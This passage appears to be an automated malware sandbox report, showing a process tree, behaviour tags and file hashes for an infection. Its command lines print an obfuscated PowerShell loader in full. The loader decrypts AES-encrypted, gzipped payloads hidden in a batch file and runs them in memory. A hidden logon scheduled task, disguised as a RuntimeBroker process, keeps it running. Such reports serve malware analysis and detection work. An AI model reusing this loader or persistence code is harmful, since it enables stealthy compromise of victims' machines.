$zmJWY.Dispose(); $CErIK.Dispose(); $vsVXh.Dispose(); $vsVXh.ToArray();}function execute_function($param_var,$param2_var){ $bfDBn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $rueAb=$bfDBn.EntryPoint; $rueAb.Invoke($null, $param2_var);}$TXIIM = 'C:\Users\Admin\AppData\Local\Temp\123e.bat';$host.UI.RawUI.WindowTitle = $TXIIM;$ggaPo=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($TXIIM).Split([Environment]::NewLine);foreach ($fPcBx in $ggaPo) { if ($fPcBx.StartsWith('ZhMGFACGbzxXRPyaLEAa')) { $VQAoZ=$fPcBx.Substring(20); break; }}$payloads_var=[string[]]$VQAoZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵PID:1740
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3812 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_691_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_691.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4256
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_691.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4348 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_691.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:3720 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IMuNM+NoeoilVnbVcgHZqIY5pZsDXTl8ky9l6Hk27Wg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Th2eHiyH2cvkjKqYgrdjbQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CErIK=New-Object System.IO.MemoryStream(,$param_var); $vsVXh=New-Object System.IO.MemoryStream; $zmJWY=New-Object System.IO.Compression.GZipStream($CErIK, [IO.Compression.CompressionMode]::Decompress); $zmJWY.CopyTo($vsVXh); $zmJWY.Dispose(); $CErIK.Dispose(); $vsVXh.Dispose(); $vsVXh.ToArray();}function execute_function($param_var,$param2_var){ $bfDBn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $rueAb=$bfDBn.EntryPoint; $rueAb.Invoke($null, $param2_var);}$TXIIM = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_691.bat';$host.UI.RawUI.WindowTitle = $TXIIM;$ggaPo=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($TXIIM).Split([Environment]::NewLine);foreach ($fPcBx in $ggaPo) { if ($fPcBx.StartsWith('ZhMGFACGbzxXRPyaLEAa')) { $VQAoZ=$fPcBx.Substring(20); break; }}$payloads_var=[string[]]$VQAoZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵PID:3764
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2248
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C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /42⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3164
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3532
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3712
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4736
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:5028
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:3220
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4424
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:3600
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:5068
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:1256
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:4708
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD53eb3833f769dd890afc295b977eab4b4
SHA1e857649b037939602c72ad003e5d3698695f436f
SHA256c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485
SHA512c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72
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Filesize
2KB
MD53ccf13786554a09feada0ddedbc8a646
SHA154d359350816173172d9a351b465207e4be88a8f
SHA256f436e158dc2fc703547bec5d5111f4a7d43b2b7bb02a16dbab812e48ce8e5ca9
SHA5126fb3d66ccc739b2a6d93b19af338b3b8cda9c3d431dc9343ccfb7c121fc7f4383aad7581e6e27f9bd482d40b970ab6a61a4365a8003a96b190a9e781b2ae91b3
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
124B
MD53f72305ee9754c4c35e5118e488be660
SHA1b730ad725c6e671daca4eb506c8471ed55b3b777
SHA256c696ddcf565b1e2a705d3cccc6f9483ab5195387a91b2b3fe9512daf6e6222d9
SHA5122d47fdcc28345288ccb92148648a07e58cd0693f582babe2964d1f6f3ccba2d71359ab340e7006ab80cd86de3c502f6e8904dfe331bbf8b7376662986d377122
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Filesize
2KB
MD54ac1741ceb19f5a983079b2c5f344f5d
SHA1f1ebd93fbade2e035cd59e970787b8042cdd0f3b
SHA2567df73f71214cdd2f2d477d6c2c65f6e4c2f5955fc669cde9c583b0ff9553ecdc
SHA512583706069a7c0b22926fa22fc7bedcca9d6750d1542a1125b688fbb0595baf6cefc76e7b6e49c1415c782a21d0dd504c78fa36efad5f29f2fd5d69cc45ad8dcd
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Filesize
2KB
MD5a9124c4c97cba8a07a8204fac1696c8e
SHA11f27d80280e03762c7b16781608786f5a98ff434
SHA2568ad3d28aeff847bc5fb8035cbc7c71e88a4ee547821a8e1a3ea6661ee6014b21
SHA512537caaa75ac1e257c6b247f9680c3b9e79156ea1bcb3f1326e969a774db33b3c906800813ca6f79369c799a62f4260c91c6dd9a6cace3af25b7dbea5a73e0392